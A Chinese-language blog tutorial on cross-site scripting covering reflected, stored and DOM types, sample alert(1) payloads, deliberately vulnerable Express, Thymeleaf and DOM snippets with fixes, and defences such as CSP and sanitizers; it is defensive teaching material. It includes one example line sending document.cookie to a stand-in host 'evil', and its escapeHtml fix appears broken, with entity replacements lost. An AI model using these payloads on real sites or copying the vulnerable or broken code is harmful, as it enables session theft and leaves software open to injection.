XSS(跨站脚本攻击)详解【场景、影响、检测、防护】
XSS 攻击 原理详解(高密度技术版)
XSS(Cross‑Site Scripting) 是指攻击者向网页注入恶意脚本(通常是 JavaScript),当受害者在浏览器上打开被注入的页面时,这些脚本在受害者的上下文(同源策略下)执行,从而窃取凭证、篡改页面、劫持会话、发起 CSRF、Keylogger、代理请求等。
基本原理
- 浏览器信任域名与页面上下文:脚本在页面上下文运行且拥有与页面同样的权限(例如访问 DOM、读取/写入 cookies(除 HttpOnly)、发起 XHR/fetch 等)。
- XSS 的核心就是让浏览器误认为攻击者提供的脚本是“页面可信内容”,从而执行它。
- 触发路径通常是:用户可控输入 → 服务器/客户端未正确处理/编码 → 输出回页面并被浏览器解析执行。

XSS 的三大类型(必须非常清楚的区别)
-
反射型(Reflected XSS / Non-persistent)
- 请求中的恶意负载(如 URL 参数、表单字段)直接在响应中反射并执行。常见于搜索、登录错误提示、查询页面等。
- 利用方式:构造带恶意脚本的 URL,诱导用户点击(钓鱼邮件、社交工程)。
-
存储型(Stored XSS / Persistent)
- 恶意脚本被持久存储在服务器(数据库、日志、评论区、用户资料等),之后任意用户访问时脚本会被加载并执行。危害最大,易大规模传播。
-
DOM‑based XSS(客户端型)
- 发生在客户端 JavaScript 操作 DOM 时,直接从
location,hash,document.referrer等读取不可信数据并插入 DOM(无经过服务器过滤)。原理在浏览器端,服务器响应可能看起来“安全”但客户端脚本存在漏洞。
- 发生在客户端 JavaScript 操作 DOM 时,直接从
常见恶意负载示例(payload)
- 简单执行脚本:
<script>alert(1)</script>
- 属性内(如
<img>)执行:
<img src=x onerror=alert(1)>
- href 注入(javascript:):
<a href="javascript:alert(1)">click</a>
- 混淆与绕过:
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
- DOM 型示例(通过 location.hash):
http://site/page#<img src=x onerror=alert(1)>
源码级示例与分析(包含漏洞与修复)
下面给出典型 web 环境中常见的易受 XSS 的代码片段与安全化改造示例,覆盖前端、后端(Java + Spring / Node.js/Express)以及模板渲染的场景。
1) 反射型示例(Node.js / Express,易受 XSS)
易受攻击的实现(示例)
// app.js (vulnerable)
app.get('/search', (req, res) => {
const q = req.query.q || '';
// 直接把用户输入写回 HTML(未编码)
res.send(`<html><body>Search: ${q}</body></html>`);
});
如果请求 /search?q=<script>alert(1)</script>,脚本会被执行。
修复(输出编码 / 转义)
const escapeHtml = s => s
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
app.get('/search', (req, res) => {
const q = escapeHtml(req.query.q || '');
res.send(`<html><body>Search: ${q}</body></html>`);
});
要点:所有直接插入到 HTML 内容中的用户控件都必须进行 HTML 转义(对于不同上下文,使用不同编码,详见下文“上下文敏感编码”)。
2) 存储型示例(Java + Spring Boot + Thymeleaf)
易受攻击(存储并回显)
- 评论存储到 DB,前端直接渲染:
// Controller - 接收评论
@PostMapping("/comment")
public String postComment(@RequestParam String content) {
commentService.save(content);
return "redirect:/post/1";
}
// Template (Thymeleaf) - 直接输出
<p th:utext="${comment.content}"></p> <!-- utetx = unescaped text -->
th:utext 或直接把内容插入为 HTML,会导致存储型 XSS。
修复
- 永远在输出时进行编码(在模板使用转义输出):
<p th:text="${comment.content}"></p> <!-- th:text 自动转义 -->
- 或在存储时对 HTML 进行白名单化(比如使用 OWASP Java HTML Sanitizer),而非简单删除所有标签(除非业务允许)。
使用白名单清理示例(Java)
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a","b","i","strong","em","p")
.allowAttributes("href").onElements("a")
.toFactory();
String safe = policy.sanitize(userInput);
注意:白名单策略必须非常严格,并且尽量在显示阶段而非输入阶段进行,以保持原始数据审计能力。
3) DOM‑based XSS 示例(前端)
易受攻击场景
<!-- index.html -->
<script>
// 读取 hash 并写入 DOM(没有任何过滤)
document.getElementById('msg').innerHTML = location.hash.substring(1);
</script>
<div id="msg"></div>
访问 http://site/#<img src=x onerror=alert(1)> 会触发。
修复
- 避免使用
innerHTML处理不可信数据,使用textContent/innerText:
document.getElementById('msg').textContent = location.hash.substring(1);
- 或对插入 HTML 做严格的解析白名单(例如 DOMPurify)在确实需要插入 HTML 时使用。
4) 在不同上下文下的编码(最致命的细节)
XSS 防护不是“单一 encode”就完事:必须按照 输出上下文 选择正确编码方式:
- HTML 内容(元素文本) → HTML escape (
<-><,&->&, …) - HTML 属性值(在双引号/单引号内) → attribute escape + 引号处理
- JavaScript 上下文(内嵌脚本) → JS 字面量/字符串编码(或避免直接把用户输入插入脚本)
- URL 上下文(href、src) → URL encode 并验证协议(阻止
javascript:、data:等) - CSS 上下文(style 属性) → CSS 转义或避免直接注入
- DOM API(
innerHTMLvstextContent) → 尽量使用安全 API(textContent、setAttribute)
示例:若必须将用户输入放入 JavaScript 字符串常量中,使用专门的 JS 转义函数而不是 HTML 转义。错误使用会导致绕过。
利用链/攻击后果(攻击者能做什么)
- 窃取会话(读取非 HttpOnly 的 cookie),并把它发送给攻击者(例如通过
XMLHttpRequest或<img src="https://evil/?c="+document.cookie>) - 劫持账户(以受害者身份发起事务、转账、发布内容)
- 持久化恶意 JS(存储型)导致大规模感染(例如评论区)
- 键盘记录、屏幕劫持、钓鱼(伪造页面 UI 以骗取凭证)
- 绕过 CSRF(在用户认证上下文中直接提交请求)
- 持久性后门(植入脚本定时与 C2 通信)
- 扩展到企业内网(若页面能访问内网资源)
风险评估(如何判断严重性)
常见评估维度(类似 OWASP 风险模型):
- 可触达性:多少目标用户会访问受影响页面?(public comment vs admin dashboard)
- 持久性:是反射型临时攻击还是存储型持久影响?
- 权限上下文:受害者是否有高权限(管理员、财务人员)?
- 可自动化程度:是否可通过 CS or CSRF 链接诱导自动执行?
- 可利用性:是否有简单 payload 能成功触发;是否需要复杂条件/浏览器版本?
高风险通常是:存储型、影响大量高权限用户、可窃取凭证或执行敏感操作的漏洞。
检测与验证方法(渗透/审计时常用)
- 手工检查:输入点遍历(URL 参数、表单、HTTP头、Referer、User-Agent、文件上传、数据库字段、第三方返回等)。
- 常见 payload 列表测试:
<script>alert(1)</script>,<img src=x onerror=...>,以及针对上下文的 payload。 - 黑盒扫描器:Burp Suite(Active Scan)、OWASP ZAP(注意误报/漏报)。
- 源代码静态审计:查找
innerHTML,eval,document.write,innerText/textContent误用,模板中使用不当的 unescaped 输出(如模板引擎的 raw/unescaped output)。 - 动态分析:使用浏览器 DevTools 查看是否能读取 cookies、执行 XHR、改写 DOM。
- 安全头检查:CSP、X-XSS-Protection(已废弃但仍可检查)、Strict-Transport-Security 等。
![在这里插入图片描述]()
防护策略(按优先级与细节)

1) 最基本原则:对不可信输入“默认不信任”,对输出“必须编码”
- 在输出阶段而非在输入阶段做编码/清理(输出上下文不同,输出时才能选择正确编码)。
- 对不同上下文进行上下文敏感转义(HTML、attr、JS、URL、CSS)。
- 前端尽量使用
textContent/innerText/setAttribute,避免innerHTML/document.write除非经过白名单清理(DOMPurify、OWASP sanitizer)。
2) 内容安全策略(CSP)
-
部署 CSP(Content-Security-Policy)来减少 XSS 的影响:
- 禁止内联脚本
script-src 'self'(或使用nonce/hash),禁止unsafe-inline。 - 限制可加载的脚本来源和资源域,限制
frame-ancestors。
- 禁止内联脚本
-
CSP 不能代替编码,但能显著提高攻击成本和降低成功率。
3) 使用安全的模板与库
- 使用能自动转义的模板引擎(Thymeleaf、Mustache、Handlebars 等默认转义版本)。
- 避免使用
{{{raw}}}或未经转义的输出选项,除非非常必要并且使用白名单化清理。
4) HttpOnly & Secure Cookie
- 对会话 cookie 设置
HttpOnly(防止 JS 读取)与Secure(仅 HTTPS)和SameSite(防 CSRF /部分保护)。 - 注意:HttpOnly 无法防止 CSRF,但能阻止 XSS 直接读 cookie。
5) 输入验证与最小权限原则
- 虽然输入验证不能替代输出编码,但仍应限制输入长度、类型和允许的字符范围(白名单)。
- 对于允许 HTML 的功能(富文本编辑)应使用严格的白名单 sanitizer(例如 DOMPurify、OWASP Java HTML Sanitizer),并在显示时再次清理。
6) 避免危险 API
- 在前端避免使用
eval,new Function,setTimeout(string),innerHTML等容易导致注入的 API。 - 在后端避免把用户输入嵌入到
script块或事件处理属性中。
7) 时间同步 + 日志与审计
- 记录注入来源与用户、时间,方便溯源与恢复。
- 对敏感页面增加监控与告警(异常 JS 执行、异常请求量等)。
8) 安全头部与浏览器策略
- CSP(首要)
- X-Content-Type-Options: nosniff
- X-Frame-Options / frame-ancestors
- Referrer-Policy
- HSTS
代码级常用工具与实战示例
前端:使用 DOMPurify 清理 HTML(当需要允许部分 HTML 时)
<script src="https://unpkg.com/dompurify@2.0.17/dist/purify.min.js"></script>
<script>
const dirty = userProvidedHtml;
const clean = DOMPurify.sanitize(dirty, {ALLOWED_TAGS: ['b','i','a','p','br'], ALLOWED_ATTR: ['href']});
document.getElementById('content').innerHTML = clean;
</script>
Java 后端:使用 OWASP Java HTML Sanitizer
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a", "b", "i", "p")
.allowAttributes("href").onElements("a")
.toFactory();
String safe = policy.sanitize(userInput);
Spring MVC / Thymeleaf 常见建议
- 在模板尽量用
th:text(转义)而非th:utext(非转义)。 - 对 REST API 返回 JSON 的场景,也要注意前端如何使用:不要把未经转义的字符串直接
innerHTML注入。
实战测试(渗透 / 红队小贴士)
- 利用 Burp 或浏览器直接构造请求测试全部输入点(headers、cookies、POST/PUT body、JSON、multipart、file metadata)。
- 测试 DOM XSS:利用 URL 的
hash、search、referrer等尝试触发innerHTML、document.write等。 - 测试协议绕过:检查
href/src属性是否允许javascript:、data:或vbscript:。 - 测试 CSP:通过引入外部脚本、内联脚本尝试触发,并检查 CSP 是否生效(浏览器控制台会有违规报告)。
- 对存储型 XSS,注意对回显路径做追踪:输入 -> DB -> 其它 endpoint -> 渲染点。
常见误区(需避免)
- “只做输入过滤就够了” —— 错误。必须按照输出上下文做编码。
- “CSP 完全能防 XSS” —— 不是。CSP 是防护层,不能替代编码/白名单。
- “HttpOnly cookie 可以完全阻止 XSS 的危害” —— 只能阻止脚本直接读取 cookie,但脚本仍然可以在受害者上下文内发起操作(例如隐式请求、发帖、发起转账)。
- “只在某些页面加转义” —— 必须在所有可能输出用户内容的地方都严格处理。
总结与工程化建议(Checklist)
- 对所有输出采用上下文敏感编码(HTML/Attr/JS/URL/CSS)。
- 禁止/限制
innerHTML、eval、document.write等危险 API;若必须使用,使用成熟 sanitizer(DOMPurify、OWASP sanitizer)。 - 对可存储的 HTML 使用严格白名单并在输出时再次清理。
- 部署 CSP(禁止内联脚本并限制来源),同时使用
report-uri/report-to收集 CSP 报告。 - 为会话 cookie 设置
HttpOnly,Secure,SameSite。 - 审计第三方库(包括富文本编辑器)并升级到安全版本(很多富文本组件历史上频繁成为 XSS 渗透点)。
- 在 CI/CD 加入自动化安全扫描(SAST/DAST),并在代码评审中把 XSS 检查作为必查项。
- 对高风险页面(admin、财务)做额外防护与监控,必要时做严格的输入白名单或双重验证交互。
本文来自博客园,作者:NeoLshu,转载请注明原文链接:https://www.cnblogs.com/neolshu/p/19120599


浙公网安备 33010602011771号